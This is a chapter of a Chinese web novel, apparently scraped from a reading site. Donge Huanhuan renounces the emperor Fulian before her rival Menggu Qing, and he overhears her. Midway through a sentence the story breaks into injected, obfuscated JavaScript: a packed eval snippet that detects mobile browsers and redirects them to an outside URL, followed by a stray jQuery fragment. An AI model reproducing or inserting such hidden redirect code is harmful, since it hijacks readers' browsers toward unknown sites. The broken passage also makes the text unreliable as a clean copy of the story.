125. 情敌见面
作品:《清穿之原来我是董鄂妃》 祈福庵又来了一位不速之客。
紫鸢在后院给新移栽的桂花树培土,想着明年这个时候,她们就可以用这棵树的花,来做桂花糕、桂花茶、桂花饼......
她盘算着,反正她们要在这里三年,到时候小姐的伤心劲也过了,一定会喜欢的。
正当她还在开心的畅想着未来时,小柒急促的声音又传来了,“紫鸢姐,又来客人了。”
紫鸢的手猛地一顿,心里一阵无语,这小丫头,还是这样的一惊一乍。
她们这里这两天来的人还少吗,连皇上都来了,其他人又有什么可惊讶的。
她忍不住在心里狠狠地吐槽了一句,然后匆匆拍了拍手上的泥土,快步走向大门。
待看清来人,紫鸢忍不住想要翻白眼,怪不得小柒这么惊讶。
孟古青来这里干什么?
难道是来向小姐炫耀的?
明明之前小姐还把她当朋友来着,和她那么要好,却没想到她竟然抢小姐的男人。
可是鉴于孟古青未来皇后的身份,紫鸢终究还是不敢造次,只能把不满藏在心底,赶忙将人引到正屋喝茶,又吩咐小柒去通知小姐。
此时的董浣浣,正靠在窗边的软榻上闭目养神。
昨夜又是一宿宿醉,醒来时虽然头还会隐隐作痛,但是相较于前几天,却是好多了。
她揉了揉发胀的太阳穴,昨天又喝断片了,脑海里一片空白,昨晚发生的事情,怎么也想不起来了,只觉得嘴唇涨涨的,稍微碰一下,还会刺痛。
早上她曾着问过紫鸢,昨晚是不是发生了什么事。
紫鸢却支支吾吾的,眼神躲闪,只说她昨晚喝多了就睡了,没发生什么特别的事情。
董浣浣轻轻叹了口气,既然紫鸢说没有,她便也不再追问,可能真的是她喝酒喝糊涂了,产生了幻觉,居然以为看到了他。
她低头看了看自己苍白的手,指尖还有些微微发颤。
果然是喝酒伤身,她不能再颓废下去了,毁了董鄂.浣浣将这幅身体给她的好心。
是时候放下了。董浣浣在心里对自己说,既然已经做出了离开的决定,就该彻底斩断过往,好好的活下去。
就在她迷迷糊糊快要睡着的时候,门外传来了小柒急促的脚步声,紧接着,小柒带着几分慌张的声音便传了进来:“小姐!小姐!孟古青格格来了,现在就在正屋等着呢!”
董浣浣的睫毛猛地一颤,瞬间清醒了过来。
孟古青?
她怎么会来?
是了,如今她是即将入主中宫的皇后,想来是特意来向自己宣示主权的吧。
董浣浣缓缓坐起身,理了理身上略显凌乱的衣衫,和小柒说道:“我知道了。小柒,你先过去,告诉她,我这就过去。”
小柒看着董浣浣苍白的脸色,满脸担忧:“小姐,她……她会不会欺负你?”
“放心,我不会有事的。”董浣浣拍了拍小柒的手,给了她一个安抚的眼神。
小柒点点头,一步三回头地退了出去。
董浣浣站起身,走到铜镜前,望着镜中苍白的自己,她伸出手,拢了拢额前的碎发,深吸一口气,努力让自己看起来精神些,随后便转身,一步步朝着正屋走去。
刚走到正屋门口,就听见里面传来清脆的茶杯碰撞声。董浣浣推开门,一眼就看到孟古青端坐在主位旁的椅子上,姿态慵懒地靠在椅背上,手里捧着一杯清茶,正优哉游哉地啜饮着,一副闲适自得的模样。
董浣浣没有说话,径直走到孟古青对面的椅子上坐下。
紫鸢连忙上前,为她倒了一杯清茶,随后便识趣的退了出去,还顺手带上了正屋的门。
一时间,正屋里只剩下两人的呼吸声,气氛尴尬到了极点。
最终,还是孟古青先开了口,她放下手中的茶杯,目光平淡的落在董浣浣身上:“你看,我什么都不需要做,就能得到我想要的一切。”说出的话却十足的扎人心。
董浣浣端起茶杯,轻轻抿了一口,她静静地看向孟古青,缓缓开口,声音带着一丝不易察觉的怅然:“你以前不是这样的。从前的你,潇洒恣意,不像如今这般咄咄逼人。”
孟古青嗤笑一声,像是听到了什么天大的笑话:“以前?你说的哪个以前?是我因为你被绑架,被羞辱,事后你却和他浓情蜜意,看都没看我一眼的那几天吗?”
她顿了顿,眼神里满是嘲讽:“董鄂.浣浣,你太天真了。你认识我才多久?不过短短月余,你以为你看到的,就是真实的我吗?其实,我一直都是这样的。为了得到自己想要的东西,我可以不择手段。”
孟古青端起茶杯,向她举了举,像是在炫耀,又像是在挑衅,随后一饮而尽,将茶杯重重地放在桌上:“他如今心里有你,不过是因为你们认识得早,有几分所谓的旧情罢了。这种感情,不堪一击。”
她往前倾了倾身子,眼神里满是笃定:“等我们成了亲,相处的日子久了,他自然会发现,无论是家世背景、才学素养,还是治理后宫的能力,我才是和他最相配的人。我一定会取代你,完完全全地占据他的心,让他再也记不起你这个人。”
董浣浣放下茶杯,抬眸看向孟古青,眼神平静得没有一丝波澜。她不想与她争辩,只是说道:“既然你已经得到了你想要的,如今得偿所愿,就请你好好对他。”
“就这些?”孟古青不解,这也太不像她了,她以为董浣浣至少会和她争辩,他们之间的感情是何等的珍贵,是她永远也无法取代的存在。
董浣浣迎上她的目光,语气平静:“你今天来,不就是想让我知难而退,让我彻底死心的吗?”
“我既然选择离开他,就绝对不会后悔。”董浣浣继续说道,语气坚定,“你放心,我董浣浣说到做到,从今往后,绝对不会再出现在你们面前,更不会去破坏你们之间的关系。”
孟古青有些意外,她没想到董浣浣会放手的如此干脆。
她皱了皱眉,追问道:“你说的是真的?你真的不要他了?你真的愿意眼睁睁看着他娶我?”
“对,我不要他了。”董浣浣迎着孟古青的目光,一字一句地说道,每一个字,都像是从牙缝里挤出来的,带着钻心的疼,可她的脸上,却依旧维持着平静,没有丝毫破绽。
“你就这样将我推给了别人?!”
一道充满怒意与失望的声音,猛地从门口传来。
董浣浣和孟古青同时转头看去,只见福临站在门口,脸色阴沉得可怕。他身后跟着的吴良辅,也是一脸惶恐,大气都不敢出。
他怎么会来?董浣浣的心猛地一缩,她下意识地避开了他的目光,指尖冰凉。
福临快步地走进来,目光死死地盯着董浣浣,咬着牙,一字一句地说道:“好得很,董鄂.浣浣,你真是好得很呐!”
他的声音里充满了失望和愠怒,还有一丝不易察觉的委屈。
她竟然如此轻易的,就将他推给别人,说出她再也不要他了的这种话。
是他自作多情,一厢情愿了,居然轻信了一个醉鬼的话,想要再给她一次挽回他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918718|190875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的机会。
“好得很……真的好得很呐……”福临喃喃自语,眼神里的光一点点熄灭,转而为失望。
他深深地看了董浣浣一眼,那眼神复杂至极,随后,他冷声开口,“从今以后,你我再无瓜葛!”
说完这句话,福临没有再看董浣浣一眼,转身就大步离开了正屋。
董浣浣僵坐在椅子上,看着他决绝的背影,心里一阵刺痛,却连一句挽留也说不出口。
而一旁的孟古青看到此景,却笑了。她将面前的茶一饮而尽,然后起身离开。
是她引着福临这个时间来的,她就是要让福临亲耳听到董浣浣说的话,她就是要亲手斩断他们之间的任何可能。
福临是一国之君,他是高高在上的天子,是该被仰望的存在,却被一个女人这样狠狠的抛弃,他的自尊一定不会允许自己再为了这样一个女人,卑躬屈膝下去。
临走前,她转过身来,和董浣浣说道:“别忘了你今天说的话。”
说完,便潇洒的转身离开了。
一时间,正屋里,只剩下董浣浣一个人。
她眼神空洞地看着前方,脑子里一片空白,心脏也早已痛到麻木。
董浣浣伸出手,紧紧地抱住自己,将脸埋在膝盖里,试图汲取一丝温暖,可心里却依旧冰凉。
她不知道自己坐了多久,小柒前来唤她,她才缓缓抬起头,脸上早已布满了泪痕。
小柒慌忙跑到她身边,像个小大人一样将她抱着怀里,摸着头,小心翼翼的安抚着她,她终于撑不住了,放声痛哭。
是夜,祈福庵陷入了一片寂静。
董浣浣没有喝酒,她端坐在床前,久久无法入睡。
突然,门被轻轻推开,福临的身影再次出现。
董浣浣别过脸,不敢看他的眼睛,声音带着一丝沙哑:“你不该再来这儿的。”
“我知道。”福临走进来,反手关上了门,声音低沉,“可我控制不住自己。”
董浣浣抬眸看他,提醒他道:“你是皇上,金口玉言,不能出尔反尔。白日里你才说过,你我再无瓜葛。”
福临走到她面前,伸手想去碰她的脸,却在半空中停住了,最终只是紧紧地攥住了拳头,语气带着几分自嘲:“我在你面前,出尔反尔的事情还少吗?从认识你的那天起,我总是在打破自己为君的准则。”
他的目光紧紧地锁住她,带着一丝恳求,又带着一丝霸道:“浣儿,我再给你最后一次机会。你要不要嫁给我,你现在还有反悔的机会。只要你点头,一切就都还可以挽回。”
董浣浣看着他眼底的恳求,心里一阵绞痛。她多想点头,多想跟他走,可是她不能,若是她执意嫁给福临,只会给他带来无尽的麻烦,加速他的死亡而已。
她缓缓摇了摇头,眼神里满是痛苦与决绝:“你走吧。我们之间,真的不可能了。”
闻言,福临像是被抽走了所有的力气,他踉跄着后退了一步,看着她:“你真的……一点机会都不肯给我,也不肯给你自己吗?”
董浣浣闭上眼睛,强忍着眼泪:“是。求你了,以后不要再来找我了。就当……就当从未认识过我。”
福临看着她决绝的模样,只剩下无奈的叹息。他深深地看了她一眼,然后转身,一步步走出了房门,再也没有回头。
门被轻轻带上,董浣浣再也支撑不住,瘫倒在床上,泪流满面。她捂住嘴,不让自己哭出声来,可肩膀却止不住地颤抖。
她告诉自己这是她最后一次为他哭了......

